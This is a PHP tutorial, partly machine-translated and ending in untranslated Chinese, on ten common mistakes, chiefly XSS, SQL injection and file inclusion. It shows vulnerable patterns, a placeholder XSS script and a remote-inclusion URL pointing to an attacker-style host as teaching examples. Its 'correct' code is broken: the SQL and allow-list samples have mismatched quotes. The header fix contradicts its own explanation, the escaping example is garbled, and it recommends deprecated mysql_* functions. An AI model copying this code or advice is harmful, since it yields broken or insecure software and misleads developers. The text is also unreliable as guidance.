Introducing the 10 most common mistakes PHP programmers make_PHP Tutorial

PHPProgrammers are now taking on more and more important tasks. php is a great web development language, a flexible language, but I have seen some mistakes that PHP programmers make over and over again. I made the following list of 10 common mistakes made by PHP programmers, most of which are related to security. See what kind of mistakes you made:

1. Do not ignore html entities

A basic common sense: all untrusted input (especially user Data submitted from the form) must be changed before output.

<ol class="dp-c"><li class="alt"><span><span class="func">echo</span><span> </span><span class="vars">$_GET</span><span>[</span><span class="string">'usename'</span><span>] ; </span></span></li></ol>

This example may output:

<script>/*Script to change admin password or set cookie*/</script>

This is an obvious security risk unless you ensure that your users are typing correctly.

How to fix:

We need to convert "< ",">","and", etc. into the correct HTML representation (<, >', and "), The functions htmlspecialchars and htmlentities() do exactly this.

Correct method:

<ol class="dp-c"><li class="alt"><span><span class="func">echo</span><span> htmlspecialchars(</span><span class="vars">$_GET</span><span>[</span><span class="string">'username'</span><span>], ENT_QUOTES); </span></span></li></ol>

2. Do not ignore SQL input

I once discussed this issue in an article The Simplest Way to Prevent SQL Injection (php+MySQL) and gave a simple method. Someone said to me that they already have it in php.ini. Set magic_quotes to On so don't worry about this, but not all input is coming from $_GET, $_POST or $_COOKIE!

How to fix:

and in As the simplest method to prevent sql injection (in php+mysql), I still recommend using the mysql_real_escape_string() function

Correct approach:

<ol class="dp-c"><li class="alt"><span><span><?php  </span></span></li><li><span class="vars">$sql</span><span> = &ldquo;UPDATE users SET  </span></li><li class="alt"><span>name=&rsquo;.mysql_real_escape_string(</span><span class="vars">$name</span><span>).&rsquo;  </span></li><li><span>WHERE id=&rsquo;.mysql_real_escape_string (</span><span class="vars">$id</span><span>).&rsquo;&rdquo;;  </span></li><li class="alt"><span>mysql_query(</span><span class="vars">$sql</span><span>);  </span></li><li><span>?> </span></span></li></ol>

3. Wrong use HTTP-header related functions: header(), session_start(), setcookie()

Have you encountered this warning?" warning: Cannot addheader information - headers already sent [.. ..]

Every time a web page is downloaded from the server, the server's output is divided into two parts: the header and the body.

The header contains some non-visual data, such as cookies. The head always arrives first. The text part includes visual html, pictures and other data.

If output_buffering is set to Off, all HTTP-header related functions must be called before there is output. The problem is that when you develop in one environment and deploy to another environment, the output_buffering settings may be different. As a result, the redirection stopped and the cookie and session were not set correctly.

How to fix:

Make sure to call http-header related functions before outputting, and set output_buffering = Off.

4. Require or include files use unsafe data

Again: don’t trust data that is not explicitly declared by yourself. Do not include or require files obtained from $_GET, $_POST or $_COOKIE.

For example:

<ol class="dp-c">
<li class="alt"><span><span>index.php  </span></span></li>
<li><span><?  </span></li><li class="alt"><span class="comment">//including header, config, database connection, etc </span><span> </span></li><li><span class="keyword">include</span><span>(</span><span class="vars">$_GET</span><span>[</span><span class="string">'filename'</span><span>]);  </span></li><li class="alt"><span class="comment">//including footer </span><span> </span></li><li><span>?> </span></li>
</ol>

Now any hacker can now use: http://www.yourdomain.com/index.php?filename=anyfile.txt to obtain your secrets information, or execute a PHP script.

If allow_url_fopen=On, you are dead:

Try this input:

http://www.yourdomain.com/index. … n. com%2Fphphack.php

Now your web page contains the output of http://www.youaredoomed.com/phphack.php. Hackers can send spam, change passwords, delete files, etc. Anything you can imagine.

How to fix:

You must control which files can be included in the include or require directives yourself.

Here is a quick but not comprehensive solution:

<ol class="dp-c"><li class="alt"><span><span><?  </span></span></li><li><span class="comment">//Include only files that are allowed. </span><span> </span></li><li class="alt"><span class="vars">$allowedFiles</span><span> = </span><span class="keyword">array</span><span>(&rsquo;file1.txt&rsquo;,</span><span class="string">'file2.txt&rsquo;,'</span><span>file3.txt&rsquo;);  </span></li><li><span class="keyword">if</span><span>(in_array((string)</span><span class="vars">$_GET</span><span>[</span><span class="string">'filename'</span><span>],</span><span class="vars">$allowedFiles</span><span>)) {  </span></li><li class="alt"><span class="keyword">include</span><span>(</span><span class="vars">$_GET</span><span>[</span><span class="string">'filename'</span><span>]);  </span></li><li><span>}  </span></li><li class="alt"><span class="keyword">else</span><span>{  </span></li><li><span class="func">exit</span><span>(&rsquo;not allowed&rsquo;);  </span></li><li class="alt"><span>}  </span></li><li><span>?> </span></span></li></ol>

5. Syntax Errors

Grammar errors include all Lexical and grammatical errors are so common that I have to list them here. The solution is to study the syntax of PHP carefully and be careful not to miss a bracket, brace, semicolon, or quotation mark. Also, find a good editor and don’t use Notepad!

6. Rarely or never use object-oriented technology

Many projects do not use PHP’s object-oriented technology, and as a result, code maintenance becomes very difficult. It takes time and effort. PHP supports more and more object-oriented technologies and is getting better and better. There is no reason why we should not use object-oriented technologies.

7. Not using framework

95% of PHP projects are doing the same four things: Create, edit, list and delete. Now there are Many MVC frameworks help us accomplish these four things, why don't we use them?

8. Don’t know the functions that are already in PHP

The core of PHP contains many functions. Many programmers reinvent the wheel over and over again. A lot of time wasted. Before coding, search for PHP mamual and search on google. You may find new discoveries! exec() in PHP is a powerful function that can execute cmd shell and return the last line of the execution result in the form of a string. For security reasons, you can use EscapeShellCmd()

9. Use older versions of PHP

很多程序员还在使用PHP4，在PHP4上开发不能充分发挥PHP的潜能，还存在一些安全的隐患。转到PHP5上来吧，并不费很多功夫。大部分PHP4程序只要改动很少的语句甚至无需改动就可以迁移到PHP5上来。根据http://www.nexen.net的调查
只有12%的PHP服务器使用PHP5，所以有88%的PHP开发者还在使用PHP4.

10.对引号做两次转意

见过网页中出现’或’”吗？这通常是因为在开发者的环境中magic_quotes设置为off，而在部署的服务器上magic_quotes=on. PHP会在 GET, POST 和COOKIE中的数据上重复运行addslashes() 。

原始文本：

<ol class="dp-xml">
<li class="alt"><span><span>It’s a string  </span></span></li>
<li><span>magic quotes on:  </span></li>
<li class="alt"><span>It’s a string  </span></li>
<li><span>又运行一次  </span></li>
<li class="alt"><span>addslashes():  </span></li>
<li><span>It\’s a string  </span></li>
<li class="alt"><span>HTML输出:  </span></li>
<li><span>It’s a string </span></li>
</ol>

还有一种情况就是，用户一开始输入了错误的登录信息，服务器检测到错误输入后，输出同样的form要求用户再次输入，导致用户的输入转意两次！

希望通过以上内容介绍的十方面，能够给你打击来帮助。

http://www.bkjia.com/PHPjc/445749.htmlwww.bkjia.comtruehttp://www.bkjia.com/PHPjc/445749.htmlTechArticlePHP 程序员现在越来越承担着中重要的任务。 php 是个伟大的web开发语言，灵活的语言，但是看到php程序员周而复始的犯的一些错误。我做了...